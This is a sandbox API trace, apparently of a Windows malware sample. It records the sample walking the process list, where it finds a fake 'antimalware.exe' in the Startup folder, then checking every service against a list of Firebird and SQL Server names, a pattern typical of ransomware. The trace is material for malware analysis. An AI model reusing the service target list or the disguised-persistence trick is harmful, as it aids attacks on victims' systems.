	[0174.540] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0174.541] lstrlenW (lpString="taskhostw.exe") returned 13
	[0174.541] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0174.542] lstrlenW (lpString="msoia.exe") returned 9
	[0174.542] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0174.543] lstrlenW (lpString="explorer.exe") returned 12
	[0174.543] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0174.544] lstrlenW (lpString="SearchUI.exe") returned 12
	[0174.544] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0174.545] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0174.545] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0174.545] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0174.546] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0174.546] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0174.546] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0174.547] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0174.547] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0174.679] lstrlenW (lpString="dllhost.exe") returned 11
	[0174.680] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0174.680] CloseHandle (hObject=0x51c) returned 1
	[0174.680] Sleep (dwMilliseconds=0x1f4) 
	[0175.191] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0070
	[0175.192] EnumServicesStatusExW (in: hSCManager=0x45b0070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0175.208] GetLastError () returned 0xea
	[0175.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0175.209] EnumServicesStatusExW (in: hSCManager=0x45b0070, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0175.253] CloseServiceHandle (hSCObject=0x45b0070) returned 1
	[0175.386] lstrlenW (lpString="Appinfo") returned 7
	[0175.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0175.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0175.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0175.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0175.387] lstrlenW (lpString="AppXSvc") returned 7
	[0175.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0175.387] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0175.387] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0175.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0175.387] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0175.387] lstrlenW (lpString="Audiosrv") returned 8
	[0175.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0175.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0175.387] lstrlenW (lpString="BFE") returned 3
	[0175.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0175.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0175.387] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0175.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0175.388] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0175.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0175.388] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0175.388] lstrlenW (lpString="CDPSvc") returned 6
	[0175.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0175.388] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0175.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0175.388] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0175.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0175.388] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0175.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0175.388] lstrlenW (lpString="CryptSvc") returned 8
	[0175.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.389] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0175.389] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0175.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0175.389] lstrlenW (lpString="DcomLaunch") returned 10
	[0175.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0175.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0175.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0175.389] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0175.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0175.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0175.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0175.389] lstrlenW (lpString="Dhcp") returned 4
	[0175.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0175.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0175.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0175.390] lstrlenW (lpString="Dnscache") returned 8
	[0175.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0175.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0175.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0175.390] lstrlenW (lpString="DPS") returned 3
	[0175.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0175.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0175.390] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0175.390] lstrlenW (lpString="DusmSvc") returned 7
	[0175.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0175.390] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0175.390] lstrlenW (lpString="EventLog") returned 8
	[0175.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0175.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0175.390] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0175.391] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0175.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0175.391] lstrlenW (lpString="EventSystem") returned 11
	[0175.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0175.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0175.391] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0175.391] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0175.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0175.391] lstrlenW (lpString="FontCache") returned 9
	[0175.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0175.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0175.391] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0175.391] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0175.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0175.391] lstrlenW (lpString="gpsvc") returned 5
	[0175.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0175.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0175.391] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0175.391] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0175.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0175.391] lstrlenW (lpString="iphlpsvc") returned 8
	[0175.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.391] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0175.391] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0175.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0175.392] lstrlenW (lpString="KeyIso") returned 6
	[0175.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0175.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0175.392] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0175.392] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0175.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0175.392] lstrlenW (lpString="LanmanServer") returned 12
	[0175.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0175.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0175.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0175.392] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0175.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0175.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0175.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0175.392] lstrlenW (lpString="lfsvc") returned 5
	[0175.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0175.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0175.392] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0175.392] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0175.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0175.393] lstrlenW (lpString="lmhosts") returned 7
	[0175.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0175.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0175.393] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0175.393] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0175.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0175.393] lstrlenW (lpString="LSM") returned 3
	[0175.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0175.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0175.393] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0175.393] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0175.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0175.393] lstrlenW (lpString="MpsSvc") returned 6
	[0175.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.393] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0175.393] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0175.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0175.393] lstrlenW (lpString="NcbService") returned 10
	[0175.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0175.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0175.393] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0175.393] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0175.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0175.393] lstrlenW (lpString="netprofm") returned 8
	[0175.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0175.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0175.394] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0175.394] lstrlenW (lpString="NgcSvc") returned 6
	[0175.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0175.394] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0175.394] lstrlenW (lpString="NlaSvc") returned 6
	[0175.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0175.394] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0175.394] lstrlenW (lpString="nsi") returned 3
	[0175.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0175.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0175.394] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0175.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0175.394] lstrlenW (lpString="PcaSvc") returned 6
	[0175.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0175.395] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0175.395] lstrlenW (lpString="PlugPlay") returned 8
	[0175.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0175.395] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0175.395] lstrlenW (lpString="Power") returned 5
	[0175.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0175.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0175.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0175.395] lstrlenW (lpString="ProfSvc") returned 7
	[0175.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0175.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0175.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0175.395] lstrlenW (lpString="RpcEptMapper") returned 12
	[0175.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0175.396] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0175.396] lstrlenW (lpString="RpcSs") returned 5
	[0175.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0175.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0175.396] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0175.396] lstrlenW (lpString="SamSs") returned 5
	[0175.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0175.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0175.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0175.396] lstrlenW (lpString="Schedule") returned 8
	[0175.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0175.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0175.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0175.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0175.396] lstrlenW (lpString="SecurityHealthService") returned 21
	[0175.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0175.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0175.397] lstrlenW (lpString="SENS") returned 4
	[0175.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0175.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0175.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0175.397] lstrlenW (lpString="ShellHWDetection") returned 16
	[0175.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0175.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0175.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0175.397] lstrlenW (lpString="Spooler") returned 7
